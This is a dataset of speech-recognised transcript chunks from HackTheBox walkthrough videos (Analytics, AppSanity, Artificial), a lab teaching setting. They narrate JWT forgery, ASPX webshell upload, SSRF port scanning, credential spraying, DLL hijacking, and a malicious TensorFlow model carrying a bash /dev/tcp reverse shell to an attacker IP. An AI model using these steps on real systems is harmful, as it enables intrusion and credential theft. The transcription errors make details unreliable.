text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
what's going to happen if we import OS because we do see these look the same right and we do os. set uid zero operation not permitted this is really bizarre right these files have the same capability what happened here well what happened is there's a second bit that's get set and that's when the system copies it from t... | 1,713.159 | 0 | {
"video_id": "p1NsQSGeDv0",
"title": "HackTheBox - Analytics",
"url": "https://www.youtube.com/watch?v=p1NsQSGeDv0"
} |
thing and we want to just print it so we'll print attribute value then let's do the same thing for the upper man I scripted this horribly but oh well no point of return okay Python 3 temp. | 1,788.96 | 0 | {
"video_id": "p1NsQSGeDv0",
"title": "HackTheBox - Analytics",
"url": "https://www.youtube.com/watch?v=p1NsQSGeDv0"
} |
Pi uh get X is missing a tribute um atdr that's what we need I think it's file than that there we go the capability is slightly different I honestly expected something a little bit different I wanted it to show me the capability that I'm missing because you can see these are definitely different um but not in a way exp... | 1,817.64 | 0 | {
"video_id": "p1NsQSGeDv0",
"title": "HackTheBox - Analytics",
"url": "https://www.youtube.com/watch?v=p1NsQSGeDv0"
} |
trusted overlay origin bit so it's either this or the file having this and these bits say hey don't trust this capability it came from overlay f don't know what that is or maybe it's this saying um use the permission bit in the overlay system and that's how it gets the root user really don't know exactly why but the ma... | 1,907 | 0 | {
"video_id": "p1NsQSGeDv0",
"title": "HackTheBox - Analytics",
"url": "https://www.youtube.com/watch?v=p1NsQSGeDv0"
} |
what's going on YouTube this is IPC I'm doing appy from hack to box which starts off with some web exploitation it's not too technically challenging but the chain is relatively large that does make it difficult because there is two websites that is part of this right um it starts off with a um user account generation a... | 0.16 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
that being said let's just jump in as always we're going to start off with an M map so SCC for default scripts SV enumerate versions OA output all formats put the end map directory and call it app sanity then the IP address of 1010 11238 this could take some time to run so I've already ran it looking at the result we j... | 56.039 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
Windows box and there could be other ports likely open just because n Maps top 1000 doesn't detect wi RM I think if we do like locate top 1000 uh let's see let's go to add map Port stop 1000 I'm going to search for 59 oh that's a lot 598 we can see it doesn't do 5985 or 5986 which I think is winrm and winrm SSL if we d... | 110 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
https and we get a medical site right the first thing I want to do though is check the SSL certificate to see if there's any other um host names associated with it so we just see the common name the main field I'm looking for is like alternative DNS names or alternate names in general don't see anything but let us um j... | 191.239 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
vhost HTTP there we go and let that run while we take a look at what features are available to us on this website so just clicking around it looks like it is a single page thing we have um request a call back so let's just put information here uh test test let's see what this form is doing let's send this over to burp ... | 271.32 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
fine uh name there we go so let's stand up a listener so Python 3 m HTTP server so we just keep that running while we send this and then going back here our submission contain errors so I guess they have some type of crossy scripting filtered in place we could keep playing with that I'm not I'm going to use the power o... | 349.96 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
one okay H there we go let's do 555 okay so now we have the sign up form let's go and inspect this we do sign up and we can see all the parameters uh name email password date of birth phone number cont we have account type which is something we did not specify it's equal to one so I'm curious if I change this if our ac... | 417.8 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
knew um the email address of the admin I may try like a um idore vulnerability let's try changing our password to two so we can explain that so if I change password to two intercept request save Let's see we got name email phone number I did not change it to two I don't know oh it puts her email here but again we don't... | 496.28 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
up account type is zero forward sign up failed let's just try changing the account type to two and I think I said account two and the email I me one but doesn't really matter we are really old there we go intercept on sign up account to there we go forward we have created account so we can do account 2 at i.r password ... | 586.72 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
I follow right um let's see we just need password two password two intercept on let's save so you can see I put that password in and we can say account to at i.r we can for this we don't get any error let's log out let's sign in account 2 at ic. Ro password 2 sign in it doesn't work so that vulnerability is not like an... | 674 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
out we can see if our regular account is any different rout at ic. Ro password one and we just see a supervising doctor right here I'm curious if I send a note if that goes over to him so let's sign in account twoip. Ro I probably should do this in like incognito mode or something like that so we can quickly see it but... | 764.839 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
that invalid SSL certificate and then let's run and top 5,000 will go much much quicker and it immediately found portal. Med dig. htb so you should always have some type of Recon going in the background because um you can't really hack time so it's always nice to be running like those gobusters while you work because w... | 841.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
tamper protection if I did that on any other one let's go back to http history um let's go to one that's not portal this is fine we see similar cookies so we know we're still in the same language if I saw like a PHP cookie um that would be definitely interesting but we are definitely pentesting a um net application now... | 920.72 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
before expiration um time issuer Med Digi so we have a JWT that's signed let's go ahead and add this access token to or cookies on this so I'm just going to press F12 we can go into storage click this little plus icon to create a cookie and access token I can make this bigger for you then let's do the value I'm going t... | 982.199 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
zero here if we know that's an admin but I'm not going to muck with that let's see we have a scheduler um start date let's do that end date schedule I have no idea what that just did if I look at prescriptions Let's see we have two if I click on this link we have a thing to view prescription and it brings us there let'... | 1,052.44 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
I'm not exactly sure start intercept on we get the request we can forward it um error occurred that's all we get and it gives us the login panel so I think maybe this is showing us the page it got to I'm not exactly positive what went on there if I refresh this page I don't see any new prescriptions but we know we have... | 1,140 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
number okay I'm going to add that but we're going to change the name so it has PDF in it I want to see exactly how it's detecting this PDF that is my goal right now so we had the file name here if I append PDF we forward this along we still see it's only allowing PDFs so maybe it's checking the magic bytes so let's try... | 1,218.12 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
along we have the examination report has been sent to management so we have uploaded a file now this is a ASP web server so I want to get a aspx webshell in order to um trigger some type of file upload vulnerability it's a lot like PHP we can just upload a PHP script to the web server execute it and get code execution ... | 1,286.72 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
ASX and we want to change the um host and Port so we'll do 10 10 148 or 90001 okay NCL lvmp 901 there we have it now let's upload this so patient number name department phone number whatever and now we want to go to htb um app sanity shell make sure we are intercepting and let's see let's just put a percent PDF Dash fo... | 1,341.76 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
I'm doing lowercase because Windows is not case sensitive so it doesn't really matter right if we do SL profile if we did undercase profile um it still goes through so this saves a lot of just request if we specify lowercase uh let's see we also need um let's see the cookie how do we specify cookie and Go Buster d-h co... | 1,441.12 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
iner no that was prescriptions right so let us do root at ic. RS let's say HTTP um 1271 and I'm going to play with this in repeater so let's turn intercept off or intercept on go here I hope this doesn't like forward my request I want to be able to access it immediately and I think when I'm doing this because I'm go bu... | 1,534.44 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
try 443 and make that htps let's click Send error occurred instantly um so we have 214 milliseconds let's try 48 that shouldn't be listening this is taking two seconds instantly so when it can talk to a port it looks like it is instant at least with https but when we can't um it takes a long time right so I'm going to ... | 1,606.52 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
in app sanity and I'm going to say um send prescriptions. request okay and the reason why I did this is because I'm going to fuzz this with fuff and I save the request to a file because that just makes it easier for me to use fuff right because I don't have to specify all the cookies the host header all those things I ... | 1,692.6 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
execute the command and then treat it as a file it's really handy for making this word list right so we have the request we have the word list um I need dask to accept the SSL certificate and let's hit enter um fuzz defined but not found in anything oh I put fuff here you do fuzz where you want to to replace it there w... | 1,771.48 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
threads and you probably get better results right so here we have 104 U now 2,00 the occasional 40001 but that's fine I want to get to Port 80 and I want to see it not be 2,000 milliseconds and then we're going to create a filter for time and there we have it we have 80 is under 100 so you can do- ft for filter time an... | 1,835.84 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
the we can just drop that I guess submit let's see what happens here we just get a link preview of this which is odd but okay um 137 that's going to be like the windows RPC Port so I'm going to just pause the video we'll let this um keep going to see if there's any other um ports that are interesting and after I pause ... | 1,906.84 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
feel like figuring out how to expand upon that I'm sure someone online has has done that for me so if we go to this one let's see that is again expanded oh this is the SEC list so that's the one we did um maybe this one top end map Port C CSV let's see TCP map sorted I don't know the difference between these top 1,000 ... | 1,973.159 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
make it better if that doesn't work so let's go back to FFF and let's change our word list to that and that's definitely not working let's change a word list to Temp let's see if that does anything there we go so before um I was terminating the string a bad way so if I do top less we can see every line break yeah I did... | 2,095.96 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
something it gave us a link preview if we go view report we can see the file here right so I click view report and I can't see the actual file but we do have a link portal mediji or Med Digi then view report file Cardiology so we want to be able to get to ours right if I refresh this it's just link View and I don't see... | 2,206.319 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
ASX uh it wasent PDF Dash that way I don't have to worry about up uh intercepting in burp Suite so patient number patient name we have no email uh root root I was hoping we'd have an email but only contain letters okay upload shell ASF X so examination report sent let's go back to issue prescription recipent email desc... | 2,250.48 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
subscription so we can send that submit cuz maybe we can only view reports off um the server Maybe don't have it exposed to outside of the doctor's office right that is my logic I'm going with here and we're not getting any response back did it just error link preview okay no shell so I'm going to change this to 1271 p... | 2,353.56 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
request again that looks fine there we go or just gives me like the up and down erors which is nice it also lets me clear the screen so the first thing I always like running is the Who Am i/ priv um didn't list my username let's just do who am I as well so we are app sanity exam panel and we don't have SE impersonate p... | 2,445.76 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
Digi access denied Med Digi portal denied um examination panel there we go go in there and let's see we have view report so that's where we got the code execution from right um we could type that out and see I guess it's just loading it from a dll so that's probably going to be in bin there we go I'm guessing it loaded... | 2,507.68 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
one dll and it is copying the full thing it's just taking a while not the fastest copy but it is going one at a time so we have the examination panel management. | 2,604.16 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dll so we want to copy that over to um a Windows host so we can start reversing it right um and if we do a file against it I knew it just based upon like how it's loaded from net that is a net assembly but you can do a file and see it is that as well so I want to run um DN spy against it so let's go over to our Windows... | 2,618.96 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
key local machine so it's getting this key and the key's name let's see is encryption key so let's view this registry key so let's go back to where a shell is and then we can say reg query hkey local machine software Med Digi um rege there we go and we can see the key encryption key is set to I got the remedy so we hav... | 2,704.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
can specify winrm and then Med dig. htb the username is going to be users. list the password is going to be that I think that's all we need set enter and see if it starts um going and there we have it we have one we have the dev doc user has this password so let's use evil winm to access it so evil win n rm- i Med dig. | 2,785.119 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
htb user Dev do password I got the remedy and there we have it we are now logged in as Dev do so let's see what's special about this user if I do Who Am ipriv we see pretty much the same thing um we could do net user Dev dooc and this should tell me the group man the groups I'm a part of we don't really see anything to... | 2,819.599 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dub like that and we already are listening somewhere this one I probably shouldn't have ran the web server out of just app sanity because if someone came and found that web server you have all my files here right that's why I always like running it in dubdub dub so I know that's where like the exposed files are so let'... | 2,893.119 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
that is odd so let's do win.exe and I'm probably going to pause the video and let this run and then we'll just look at all the results So wipas eventually did crash here and I'm not sure exactly why it did I'm sure if we just got a newer version of it maybe we'll get past this but let's see if it found anything before ... | 2,988.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
get anything whenever I see one of the results have a lot of like things like this right here and the registry thing um I just make note of it and we'll come back to it because it's probably some type of false positive if it's detecting 50 of the same item right so I'm guessing this is just path injection but we probab... | 3,048.24 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
if we went to CD back SL progra one and I just do that because it's a shorthanded way to do it without escaping the space right if I docon um there's program files and program files x86 if I did progr 2 it will take the second one or I thought it would and grab x86 um not sure why I did not there but oh because I'm in ... | 3,108.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
management. exe and then we'll also download report management helper um and this download command is a thing of Evo winrm it does have an upload as well but I have mixed results when doing it with upload so I normally only use the download functionality let's see so we have the two files let's make um report managemen... | 3,182.52 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
easiest to reverse I just want to make sure we can open this let's analyze it sure okay okay so now we have the binary we could look at Imports let's go to exports entry um in here and I'm not going to see right off the bat anything that's easy to start reversing um the easiest thing to do is look at strings and then s... | 3,261.48 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
exe it looks like it is downloading so we can do slash chisel dotexe client 101048 8,000 I want to say we want to do a reverse Port 100 1271 um chisel's not running as root on my box so I can't do a privilege Port here um I'm going to do 9100 we'll for it to 1271 100 see if that works uh chisel can't listen I did somet... | 3,362.88 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
Local Host 8100 we go through and access Local Host on the Windows machine on Port 8100 so help we have a few functions um if we try like backup it says backup successful uh validate upload let's upload like our past WD fail to upload don't really have too much um we could look at the strings let's see oh it looks like... | 3,504.88 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
before it we have invalid command missing parameter after upload and it's executing libraries we also have dll and external upload so I'm guessing external upload. dll is what we'd have to put in libraries but that is a huge guess so um let's just play with this binary a little bit so one of the things I would like doi... | 3,591.64 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
Curr decompiling it here so let's just um let it do its thing hopefully it finishes it's thinking I don't know why it's taking so long to decompile this there we go um we're around here right see create let's do this again references references to this address there we go so here we can see it create the process um if ... | 3,658.119 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
exe going to copy to my SB directory IPA and hopefully I can access the share on my windows box I'm not sure I can share awesome we can so we can just run this and I'm going to use um process Explorer when I run this do I have it on the box uh I don't know what proc watch is that's a new one to me oh it's just moning f... | 3,740.319 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
say process name is report manager.exe and we want to include it there we go so now our procmon is only going to show us what this program does I'm going to run from the command line so if it has anything on like standard error we can easily see it so when I run it we see nothing because I said the wrong filter uh we c... | 3,833.279 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
way and let's see we have path not found on this C inet Pub so we definitely want to create this this so let's copy this and make this directory so probably be easier to do it through the command line but I forget how to do it recursive on Windows um inet Pub examination panel is that examination panel examination pane... | 3,916.799 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
backup so let's create C colon users administrator and then back up okay clear the panel run it again and let's see so we have no more files here so we probably want to put something in reports so let's go back here inet Pub examination panel reports create a file there we go okay so we tried to copy this file and we h... | 4,000.76 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
string 100 and we see we are listening on Port 100 and I don't have netcat on this box so I'm going to keep switching back and forth um maybe not I don't think I can access this from my Linux box let's try did I connect I don't see anything else here examination panel have a bunch of access to nides again timeout so ye... | 4,122.359 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
what's happening we're never loading it um do we ever contain program let's get rid of libraries huh let's close out I'm going to do task kill image name report management. exe slf so we've killed it let's run this again okay so now that we've ran it let's go back to our filters um I definitely want report as not succe... | 4,238.8 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
go on the share and now we have all the files and I'm actually going to put these in a folder called um report management is I think is what it was called paste it all okay so now when I run it we should get more things or at least all those errors will go away uh file locked with only readers did I not go in the direc... | 4,404.28 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
now uh neat 64.exe help upload test.pdf so it tried to create the file it does this to validate the directory exist so we need to create this C program files report management um libraries so new folder report management then new folder libraries okay so now that we have that created upload test.pdf we have no more fil... | 4,537.44 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dll let's save that now let's see what happens upload test.pdf so we query directory I was expecting it to see at least one file does that actually have to have content it shouldn't huh let's kill and restart it task kill report management. | 4,631.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
EXE terminat start it up where's that cat oh we loaded the wrong one I'm just going to copy NC 64 into this so I don't make that mistake again okay so we do a query we get full directory information and this should have showed us the files in it but it did not I wonder if we're filtering something out oh we're filterin... | 4,701.32 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
happens so notepad file save as external upload. | 4,834.92 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dll hopefully I don't have any typers there and then let's actually kill it run it clear it scroll near the bottom let's see we need a netcat to it there we go attempting to upload and it hung so let's see we have a process create so this is what we saw in gidra it doing the process Creator and we can see the command l... | 4,850.199 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
on the web server so let's try that the first thing we need to do is find some reverse Shell Code so I'm going to do reverse shell windows dll and see what we have on Google let's see maybe that or this let's see this looks to be what we need um we have the dll main right here so anytime the dll attaches or does anythi... | 4,954.6 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
1048 or 91 and then they use wine to GCC to compile it but we can probably just um use x86 let's see w64 minw is it GCC that should do it and then the dll name and then shared and what else lws oh they don't have shared it's odd they doing windows.exe to when it's a dll um this may not work what was it called external ... | 5,038.84 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dll okay let's copy that into our SMB folder and then let's go in do we have it here evil there we do uh split there 90001 so here we need to go to program files then report manager libraries and we can copy 10 1048 shared um external upload. | 5,091.159 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
dll here not found I think I used x copy last time let's just move it to our dubdub duub directory and then we can W get it 10 10 14 8 8 th we need to specify http there we go so now we have our library there we should be able to netcat Local Host 100 and this is set up to go through chisel and 8100 and now if I upload... | 5,134.679 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
existed then would run the um external manag helper.exe with that dll and I'm guessing that's supposed to have code to upload files but since we can write that um we can make it anything we want so we made it a reverse shell hope you guys enjoyed it take care and I will see you all next time | 5,233.48 | 0 | {
"video_id": "yGy3_EUi75w",
"title": "HackTheBox - AppSanity",
"url": "https://www.youtube.com/watch?v=yGy3_EUi75w"
} |
What's going on YouTube? This is IPSC and we're doing an artificial from hack the box which is a nice easy box starting off with a web app coded in flask that lets users test their TensorFlow H5 models. Googling this reveals we have a path to code execution through writing a malicious model and with the shell we dump t... | 0.24 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
going to begin with the end map. So - sc for default scripts. SV enumerate versions vv for double verbose. This gives us things like the TTL OA up it all form in the end mapap directory and call it artificial and then the IP address of 101011.74. This can take some time to run so I've already ran it. Looking at the res... | 41.92 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Save this. And let's go take a look at the website. So, we're going to go to http 10 10174. And this will redirect us to artificial.htb. And we get a page. So, the first thing I always like doing is just looking at the source, seeing if there's anything I recognize at the top, like a WordPress or Jumla or something lik... | 85.439 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
know we're dealing with a Python application. Doesn't really help us that much, but um it is just nice to know. So looking at this, we see a page. It looks like it's doing some type of TensorFlow thing and we're giving a H5 model. Um if we go to login, it looks like we can create an account. We probably could also just... | 135.04 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
And then they also give us a Docker file. So, I'm going to copy this link. Let's w get this just so we don't have to move it later. And we can look at what this Docker file is. And it's just running Python 38 Slim. And looks like it will be downloading um TensorFlow and setting it up. So, I'm assuming the step is going... | 189.44 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
um exploits, right? So, let's go ahead and build this docker file. So, I'm just going to do a docker build dot I'm going to give it the tag um artificial. And we don't have to give it the tag. Um the whole reason I'm doing it is because it makes it um it's just dasht t for tag. | 239.36 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Um it makes it easier to reference because we don't have to give it the um random ID from the images, right? So, I like giving it a tag because it just makes it easier. Um let's see. I'm going to Google what is it? TensorFlow H5 um rce I guess we could do to see how to create a malicious model. I'm saying H5 because th... | 257.44 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
That's probably what I want. So, let's just go click on raw. Makes it easier to copy and paste. Um, our Docker is still building. I'm just going to call this exploit.py. We'll put this in. And I'm going to change up this system command. Let's just comment this out real quick. | 299.84 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
And what I want to do, whoops, is do the reverse shell I normally use. | 318.32 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
This one will probably work. Um, it depends if netcat is on the box. And this one I'm going to change it to will depend if bash is on the box. But um this is the payload I just like using. So we'll do bash- c b- i dev tcp 1010 10148. Whoops. 148 91 0 and one. Close out the single quote double quote. That looks good. Um... | 324.4 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
directory in /mount of this container. So now when I run this um unable to find image artificial. Did I typer that? I did. I don't have the I there. So let's just copy and paste. There we go. So now we're in um if I didn't do that interactive terminal. Um if we just did this, it doesn't give us a shell because it's not... | 381.12 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
thing is using that -v to um map our current directory into /mount because it just makes it easy to copy files back and forth between the container. So, if we look at the exploit.py, this is what we just copied from GitHub. We see it's going to import TensorFlow. We're going to create a malicious lambda layer and then ... | 448.639 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
trick some people. Um, and then we go ahead and run this. We see it's just not finishing, right? And that's because it connected and it's not going to finish until this is dead, right? So, um, I would highly recommend when you create this file, don't have the reverse shell running because it'll just go a little bit qui... | 501.68 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Then let's see. We can background this. STY raw minus echo foreground. Enter. | 552.48 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
Enter. And let's see. Now we are um on the box. Let's just export term is equal to xterm so I can clear the screen. So whenever I pop a web application, I always always like going for the database. So let's just do a find-ash type f to list files on this web server. And we see a users db. We could have also probably ju... | 557.92 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
And we can see the user table has what we're after, right? We have some hashes here. So let's go ahead and um do a select username password from user and that sucks. Oh sweet I guess the number of things to go through. Um my terminal had like went too far over and then started going backwards. If you want to fix that, ... | 596.48 | 0 | {
"video_id": "uGgnWQaG-bA",
"title": "HackTheBox - Artificial",
"url": "https://www.youtube.com/watch?v=uGgnWQaG-bA"
} |
